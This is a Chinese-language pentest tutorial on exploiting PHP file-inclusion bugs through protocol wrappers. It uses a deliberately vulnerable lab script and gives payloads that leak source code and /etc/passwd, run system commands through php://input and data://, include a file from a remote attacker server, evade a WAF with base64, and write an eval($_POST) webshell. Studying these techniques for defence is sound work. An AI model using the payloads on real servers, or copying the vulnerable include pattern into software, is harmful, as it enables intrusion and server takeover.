php协议流
文件包含漏洞结合php协议流的特性，使得漏洞利用效率更高，下面的内容主要讲解协议流的使用。
0x00 测试环境:
php版本: 5.2，5.3，5.5，7.0等
web服务: apache2
OS系统: linux
0x01 测试代码:
<?php include($_GET['filename']);?>
0x02 测试配置:
配置文件: php.ini
配置选项:
allow_url_fopen: on #default: on, This option enables the URL-aware fopen wrappers that enable accessing URL object like files allow_url_include : off #default: off, This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.
allow_url_fopen 表示允许在URL形式执行fopen打开文件
allow_url_include 表示允许远程包含
0x03 开始测试:
1. php://filter 编码流
实验配置条件: 无
测试代码中，通过GET请求控制 include 函数需要包含哪些文件，如果是普通的txt文件，指定该文件就可以显示文件内容，如
filename=hello.txt
但如果是php文件，那么文件内容只会看到被php解析器解析后的结果，并不能获取源代码，如包含自己
filename=index.php
若我们想看到php的源代码，就要避免php文件内容被解析，通过php编码流可以实现base64编码，编码后解析器就无法识别了，如下
filename=php://filter/read=convert.base64-encode/resource=./index.php
此时，将其base64解码就可以看到php代码了
2. php://input 输入流
实验配置条件: 开allow_url_include
除了在URL里filename参数中指定文件作为输入流外，还可以直接从POST请求中作为输入流
php://input 表示内容从请求参数中获取。如下
filename=php://input [post data] <?php phpinfo();?>
这样我们就可以执行php代码了，比如一句话，或者执行system函数等等
3. file:// 文件流
实验配置条件: 无
这个可以读取服务器非web目录文件，当然需要有权限读取，不过不需要配置条件。使用时要写绝对路径
filename=file:///etc/passwd
4. compress.X:// 压缩流, 有两个compress.zlib 和 compress.bzlib
实验配置条件: 无
这个可以针对压缩文件查看和获取内容，假如我们知道压缩包在服务器的路径为: /var/test.tgz，则可以利用该流查看压缩文件
filename=compress.zlib:///var/test.tgz
5. http:// 远程文件流, 也可以远程包含文件
实验配置条件: 开url_allow_include
这里远程包含自己服务器下的一个文本文件，利用的话，可以在自己的服务器上搭建web或ftp，然后写一句话木马，远程包含
filename=http://192.168.12.136/test/hello.txt
6. data:// 数据流, 可以直接执行php代码
实验配置条件: 开url_allow_include
这个data流可以直接传入代码被解析执行，有点类似 php://input输入流
filename=data: text/plain,<pre><?php system('ifconfig')?></pre>
如果被狗过滤，可以编码发送代码，先将 <?php phpinfo()?>这段进行base64编码得到
PD9waHAgcGhwaW5mbygpPz4=
接着利用data流，发送编码数据，并且解码解析
filename=data: text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
通过data可以写一句话木马到服务器下
filename=data:text/plain,<?php fputs(fopen("shell.php","w"), "<?php @eval(\$_POST['x']);?>")?>
协议流还有很多，远远不止这样，当然上面讲解的都是渗透中常用的手段
